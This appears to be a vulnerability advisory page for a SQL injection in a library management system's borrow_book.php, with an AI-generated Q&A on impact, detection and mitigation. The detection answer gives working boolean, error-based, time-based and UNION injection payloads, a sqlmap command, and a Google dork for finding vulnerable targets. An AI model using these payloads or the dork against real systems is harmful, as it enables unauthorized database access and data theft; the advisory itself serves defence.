CVE-2025-14571
BaseFortify
Publication date: 2025-12-12
Last updated on: 2026-04-29
Assigner: VulDB
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| projectworlds | advanced_library_management_system | 1.0 |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-74 | The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. |
| CWE-89 | The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
This vulnerability is a SQL injection issue in the Advanced Library Management System 1.0 by projectworlds. It occurs in the /borrow_book.php file when the argument 'roll_number' is manipulated. An attacker can exploit this remotely to inject malicious SQL code.
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:
The vulnerability allows unauthorized access, modification, and exposure of sensitive data due to SQL injection, which can lead to breaches of confidentiality, integrity, and availability of data. Such breaches can result in non-compliance with data protection regulations like GDPR and HIPAA, which require safeguarding personal and sensitive information against unauthorized access and ensuring data integrity and availability. Therefore, exploitation of this vulnerability could cause violations of these common standards and regulations. [1, 2, 3]
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by testing the /borrow_book.php endpoint for SQL injection on the 'roll_number' parameter. Example payloads for testing include boolean-based blind, error-based, time-based blind, and UNION query injections. Tools like sqlmap can be used to automate detection and enumeration. Additionally, Google dorking with the query 'inurl:borrow_book.php' can help identify vulnerable targets. Example test payloads include: - Boolean-based blind: roll_number=1' RLIKE (SELECT (CASE WHEN (7228=7228) THEN 1 ELSE 0x28 END))-- - Error-based: roll_number=1' OR (SELECT 8176 FROM(SELECT COUNT(*),CONCAT(0x716b786b71,(SELECT (ELT(8176=8176,1))),0x71626b7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- - Time-based blind: roll_number=1' AND (SELECT 3962 FROM (SELECT(SLEEP(5)))ecRb)-- - UNION query: roll_number=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716b786b71,0x616449714f616a7842736650486d596561685a685a6f63524a4b56437a6867715647784f734b75646476,0x71626b7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL# Using sqlmap with a command like: sqlmap -u "http://target/borrow_book.php?roll_number=1" --batch can confirm the vulnerability. [1, 3]
What immediate steps should I take to mitigate this vulnerability?
Immediate mitigation steps include: 1. Replace the affected software with an alternative product if possible. 2. Implement prepared statements with parameter binding to separate SQL code from user input. 3. Enforce strict input validation and filtering on the 'roll_number' parameter to ensure it conforms to expected formats. 4. Minimize database user permissions by avoiding high-privilege accounts for routine operations. 5. Conduct regular security audits to detect and address vulnerabilities promptly. Since no known mitigations or patches are currently available, these steps are critical to reduce risk. [1, 3, 2]
How can this vulnerability impact me? :
The vulnerability can allow an attacker to execute unauthorized SQL commands on the database, potentially leading to data leakage, data modification, or disruption of the system's normal operations.